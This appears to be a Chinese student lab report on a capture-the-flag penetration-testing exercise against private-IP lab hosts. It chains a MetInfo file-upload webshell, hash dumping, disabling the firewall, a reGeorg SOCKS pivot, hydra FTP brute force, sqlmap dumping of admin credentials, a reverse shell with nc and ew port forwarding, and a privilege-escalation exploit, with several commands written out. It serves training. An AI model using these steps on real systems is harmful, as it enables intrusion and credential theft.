第二次靶场实验报告

实验
文章目录
实验
实验工具
搭建环境
实验要求
实验步骤
第一个Flag（文件上传漏洞）
第二个Flag（代理 hydra密码爆破）
第三个Flag（sql注入，端口转发，提权）
实验工具
VMware Workstation 15 Player
百度云链接提取码：0u6b

搭建环境
1.外网靶场 IP:192.168.100.130 NAT模式
2.调整物理机的网卡VMnet8的ipv4为192.168.100.1

实验要求
1.期间不允许使用虚拟机
2.在三个靶场中找出三个Flag

实验步骤
第一个Flag（文件上传漏洞）
打开网站之后发现是MetInfo v5.0.4版本的框架，知道相应版本的框架之后接下来的操作就是百度，看是否有出相应的漏洞。百度之后发现了有一出存在文件上传漏洞
漏洞位置：http://192.168.100.130/admin/include/uploadify.php
然后自己写一个html文件，代码如下

1 2 3 4 5 6 7 8 9 10 将已经写好的一句话木马，上传到网站目录中。

知道上传路径之后，就可以通过菜刀连接了，输入地址，密码为666，成功连接菜刀之后，打开虚拟终端输入whoami查看当前用户的权限。

当前已经是系统权限，所以不需要提权，获取到getshell之后，我们就要进一步的对主机进行渗透。
将QuarksPwDump.exe上传至C盘根目录下，通过命令行打开获取密码的哈希值

通过MD5解密，解密出密码为：a1b2c3
接下来通过命令netstat -ano查看3389端口是否开启，准备远程连接。

3389端口是开启状态，但是当远程连接的时候还是连接不上，此时说明有两方面的原因。
①防火墙是开启状态
②系统禁止远程登录连接
我们可以尝试关闭防火墙，输入命令net stop sharedaccess，再次远程连接时已经可以连接了。
输入账号administrator密码a1b2c3成功连接到主机

第一个Flag已经找到

第二个Flag（代理 hydra密码爆破）
桌面上并没有什么有价值的信息，接下来可以查看以下IE浏览器的历史纪录，历史记录的位置为C:\Documents and Settings\Administrator\Local Settings\History,通过查看历史记录，发现了两个有价值的IP地址，一个是10.200.1.15另一个是10.200.1.16
浏览器历史记录中有一条记录为：ftp:10.200.1.15,点开之后登录需要密码，已知用户名为admin

目标：hydra进行密码爆破。
首先将tunnel.nosocket.php文件上传服务器中，在物理机中打开文件，查看是否可用。

然后将reGeorgSocksProxy.py上传至kali中，输入python reGeorgSocksProxy.py -u http://192.168.100.130/tunnel.nosocket.php运行文件

运行成功之后，设置代理，使用命令vi etc/proxychains.conf，打开文件之后，在文件的最底部，将socks4修改为socks5 127.0.0.1 8888并保存退出
输入命令proxychains hydra -l admin -P pass.txt ftp://10.200.1.15进行密码爆破

成功爆破密码，返回外网主机进行ftp登录
第二个Flag就在ftp文件夹下面

第三个Flag（sql注入，端口转发，提权）
打开ftp之后发现了网站目录，可以下载下来进行代码审计，在代码审计的过程中，发现了一处可能存在SQL注入的地方。
地址：http://10.200.1.16/message.php?id=1
通过简单的验证之后发现他是联合查询注入，显示位是2，然后就可以使用sqlmap
输入命令proxychains sqlmap -u http://10.200.1.16/message.php?id=1 -D my_oa -T admin -C password,username --dump导出数据库中admin表中的用户及密码

找到登录密码之后直接登录OA系统
地址：http://10.200.1.16/admin/login.php
登录网站之后，发现一处存在任意文件上传漏洞，直接上传大马
地址：http://10.200.1.16/admin/userinfo.php
通过ftp找到文件上传的路径，在浏览器中打开。接下来进行反弹端口
接着，在物理机中使用nc.exe对5555端口进行监听，输入命令：nc.exe -lvvp 5555

然后将ew通过菜刀上传至外网主机中，然后进行端口转发，输入命令ew_for_Win.exe -s lcx_tran -l 4444 -f 192.168.100.1 -g 5555

然后打开大马，进行端口反弹

反弹成功，此时我的物理机已经进入到了IP为：10.200.1.16的命令行，通过whoami查看当前用户权限，需要提权

通过大马上传相应的exp
修改上传的exp的操作权限为777通过命令chomd 777 exp1

然后查看root目录下的文件找到第三个Flag